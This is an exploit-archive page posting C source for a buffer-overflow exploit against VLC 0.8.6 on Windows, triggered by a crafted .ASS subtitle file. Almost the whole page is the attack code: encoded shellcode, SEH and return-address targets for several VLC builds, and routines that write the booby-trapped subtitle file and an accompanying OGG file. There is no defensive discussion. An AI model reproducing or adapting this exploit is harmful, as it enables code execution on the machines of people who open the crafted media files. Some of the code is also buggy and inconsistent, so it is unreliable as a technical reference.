what you don't know can hurt you

VLC 0.8.6x Buffer Overflow

VLC 0.8.6x Buffer Overflow
Posted Jan 18, 2010
Authored by fl0 fl0w

VLC version 0.8.6 .ASS file universal buffer overflow exploit for Win32.

tags | exploit, overflow
systems | windows
MD5 | 947968f6ece4d1a7d4888e04a5c309ec

VLC 0.8.6x Buffer Overflow

Change Mirror Download
/*[%]VLC vs 0.6.8 [b][c][d][a] .ASS file buffer overflow exploit(win32 universal)
[%]Works every time,works on any win32 OS,tested on Windows xp sp2.

[%]My doctor said that I have seriuouse problems ,but I think he's full of it
because the voices tell me I'm ok!*/
#include<stdio.h>
#include<string.h>
#include<stdint.h>

#define File "subtitle666.ass"
#define OGGfile "openme.ogg"
#define IF(x,NULL) if(x==NULL)
#define FOR(i,a,b) for(i=a;i<b;++i)
#define WHILE(z) while(z>0)
#define is_bigendian() ((*(char*)&i)==0)
#define EIP_OFFSET 163852
#define SEH_OFFSET 165248
#define NEXTSEH_OFFSET 165244
/*-------------prototypes---------*/
//100% working shellcode
char vlcshellcode[]=
{
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x3d"
"\xba\xb1\xd9\x83\xeb\xfc\xe2\xf4\xc1\x52\xf5\xd9\x3d\xba\x3a\x9c"
"\x01\x31\xcd\xdc\x45\xbb\x5e\x52\x72\xa2\x3a\x86\x1d\xbb\x5a\x90"
"\xb6\x8e\x3a\xd8\xd3\x8b\x71\x40\x91\x3e\x71\xad\x3a\x7b\x7b\xd4"
"\x3c\x78\x5a\x2d\x06\xee\x95\xdd\x48\x5f\x3a\x86\x19\xbb\x5a\xbf"
"\xb6\xb6\xfa\x52\x62\xa6\xb0\x32\xb6\xa6\x3a\xd8\xd6\x33\xed\xfd"
"\x39\x79\x80\x19\x59\x31\xf1\xe9\xb8\x7a\xc9\xd5\xb6\xfa\xbd\x52"
"\x4d\xa6\x1c\x52\x55\xb2\x5a\xd0\xb6\x3a\x01\xd9\x3d\xba\x3a\xb1"
"\x01\xe5\x80\x2f\x5d\xec\x38\x21\xbe\x7a\xca\x89\x55\xc4\x69\x3b"
"\x4e\xd2\x29\x27\xb7\xb4\xe6\x26\xda\xd9\xd0\xb5\x5e\xba\xb1\xd9"
};
char data[]=
{
"[Script Info]\n"
"; Script generated by Aegisub\n"
"; http://www.aegisub.net\n"
"Title: Neon Genesis Evangelion - Episode 26 (neutral Spanish)\n"
"Original Script: RoRo\n"
"Script Updated By: version 2.8.01\n"
"ScriptType: v4.00+\n"
"Collisions: Normal\n"
"PlayResY: 600\n"
"PlayDepth: 0\n"
"Timer: 100,0000\n"
"Video Aspect Ratio: 0\n"
"Video Zoom: 6\n"
"Video Position: 0\n"
"[V4+ Styles]\n"
"Format: Name, Fontname, Fontsize, PrimaryColour, SecondaryColour, OutlineColour, BackColour, Bold, Italic, Underline, StrikeOut, ScaleX, ScaleY, Spacing, Angle, BorderStyle, Outline, Shadow, Alignment, MarginL, MarginR, MarginV, Encoding\n"
"Style: DefaultVCD, Arial,28,&H00B4FCFC,&H00B4FCFC,&H00000008,&H80000008,-1,0,0,0,100,100,0.00,0.00,1,1.00,2.00,2,30,30,30,0\n"
"[Events]\n"
"Format: Layer, Start, End, Style, Name, MarginL, MarginR, MarginV, Effect, Text\n"
"Dialogue:"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" //165254 junk bytes to cause exception
};
char banner[]=
{
"******************************************************************\n"
" VLC 0.6.8x Buffer overflow exploit(win32 universal) *\n"
" *\n"
" by fl0 fl0w *\n"
"******************************************************************\n"
};
char arguments[]=
{
"---------------------------\n"
"Too few args! \n"
"sploit.exe [target 1/2/3/4]\n"
"---------------------------\n"
};

// data + 165254 nop + shellcode + szJMP(strcat)
/*--------extern variables----------*/
char b[1000000];
char c[1000000];
char d[1000000];
char f[1000000]; //1402 bytes nop
char seh[]="\x87\x75\x40\x4B";
char nseh[]="\x38\xFA\x74\x02";
int i;
int input;
char bf[4];
int t;

/*-------prototypes----------*/
int buildF();
int cpy(unsigned int,char*);
void print(char*);
void gen_random(char*, const int);
unsigned int getFsize(FILE*,char*);
int cpystr(char* dest,int,int);
int oggf(char* fname);
int Targetprint();

/*--------ogg file format---------*/
typedef struct aa
{ //28 bytes or 224 bits
uint32_t Cp; // Capture pattern — 32 bits
uint8_t Ver; // Version — 8 bits
uint8_t H; // Header type — 8 bits
uint64_t Gp; // Granule position — 64 bits
uint32_t Bsn; // Bitstream serial number — 32 bits
uint32_t Psn; // Page sequence number — 32 bits
uint32_t C; // Checksum — 32 bits
uint8_t Ps; // Page segments — 8 bits
uint8_t St; // Segment table 8 bit
}ogg;
/*------targets------------*/
struct
{
unsigned int eip;
char* etype;
}RET[]=
{
{
0x026DFA38,
"VLC 0.8.6 c"
},
{
0x0263FA38,
"VLC 0.8.6 b,d"
},
{
0x0267FA38,
"VLC 0.8.6 a"
},
{
0x0267FA38,
"VLC 0.8.6 b test1"
},
{
0x02B6FA38,
"VLC 0.8.6 RC1"
},
{
NULL,NULL
}
};
/*------main--------*/
int main(int argc,char* argv[])
{
if(argc<2)
{
system("CLS");

printf("%s%s",banner,arguments);

Targetprint();exit(0);
}

input=atoi(argv[1]);

switch(input)
{
case 0:
reverseInt(RET[0].eip);
cpy(RET[0].eip,bf);
break;

case 1:
reverseInt(RET[1].eip);
cpy(RET[1].eip,bf);
break;

case 2:
reverseInt(RET[2].eip);
cpy(RET[2].eip,bf);
break;

case 3:
reverseInt(RET[3].eip);
cpy(RET[3].eip,bf);
break;

case 4:
reverseInt(RET[4].eip);
cpy(RET[4].eip,bf);
break;
}
printf("[!]Using : %s retaddress\n",RET[input].etype);
buildF(b); oggf(OGGfile); getchar();

return 0;
}
int buildF(unsigned int retn)
{
FILE *f=fopen(File,"wb");

IF(f,NULL)
{
print("File .ass error!"); exit(0);}
gen_random(b,165267); /*EIP offset 165267 bytes [EIP][NOP nopoffset=164667 bytes][SHELLCODE nopoffset+nrbytes nop]*/
memcpy(b+EIP_OFFSET,bf,4);
memset(b+EIP_OFFSET+4,0x90,10);
memcpy(b+EIP_OFFSET+4+10,vlcshellcode,strlen(vlcshellcode));

fprintf(f,"%s%s",data,b);

free(data); fclose(f);

printf("[#]ASS file DONE!\n",getFsize(f,File));

return 0;
}
int oggf(char* fname)
{
FILE* g=fopen(fname,"wb");
IF(g,NULL)
{
print("File ogg error");
exit(0);
}
ogg *W666;
W666=(ogg*)malloc(sizeof(ogg));
W666->Cp=0x5367674F;
W666->Ver=0x00;
W666->H=0x02;
W666->Gp=0x00000000;
W666->Bsn=0x000060B8;
W666->Psn=0x00000000;
W666->C=0xA403D2F8;
W666->Ps=0x01;
W666->St=0x1E;

fwrite(W666,sizeof(W666),9,g);

fclose(g);

printf("[#]OGG file DONE!\n",getFsize(g,OGGfile));

return 0;
}
int cpy(unsigned int source,char* dest)
{
int len;
len=4;
memcpy(dest,&source,len+1);
return len;
}
void print(char* msg)
{
printf("[*]%s\n",msg);
}

void gen_random(char *s, const int len)
{
static const char alphanum[] ="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

FOR(i,0,len)
{
s[i]=alphanum[rand()%(sizeof(alphanum)-1)];
}
s[len]=0;
}
unsigned int getFsize(FILE* g,char* gname)
{
unsigned int s;

g=fopen(gname,"rb");

IF(g,NULL)
{
print("File error at reading");
exit(0);
}
fseek(g,0,SEEK_END);
s=ftell(g);

return s;
}
int reverseInt(unsigned int i)
{
unsigned char c1, c2, c3, c4;

if(is_bigendian())
{
return i;
}else
{
c1=i&255;
c2=(i>>8)&255;
c3=(i>>16)&255;
c4=(i>>24)&255;
return((int)c1<<24)+((int)c2<<16)+((int)c3<<8)+c4;
}
}
int cpystr(char* dest,int str,int len)
{
memset(dest,str,len+1);
return len;
}
int Targetprint()
{
print("Targets are:");
for(t=0;t<5;t++)
printf("[!]%s - [0x%d] - %d\n",RET[t].etype,RET[t].eip,t);
}
Login or Register to add favorites

File Archive:

June 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    35 Files
  • 2
    Jun 2nd
    14 Files
  • 3
    Jun 3rd
    40 Files
  • 4
    Jun 4th
    22 Files
  • 5
    Jun 5th
    1 Files
  • 6
    Jun 6th
    1 Files
  • 7
    Jun 7th
    19 Files
  • 8
    Jun 8th
    14 Files
  • 9
    Jun 9th
    39 Files
  • 10
    Jun 10th
    20 Files
  • 11
    Jun 11th
    22 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close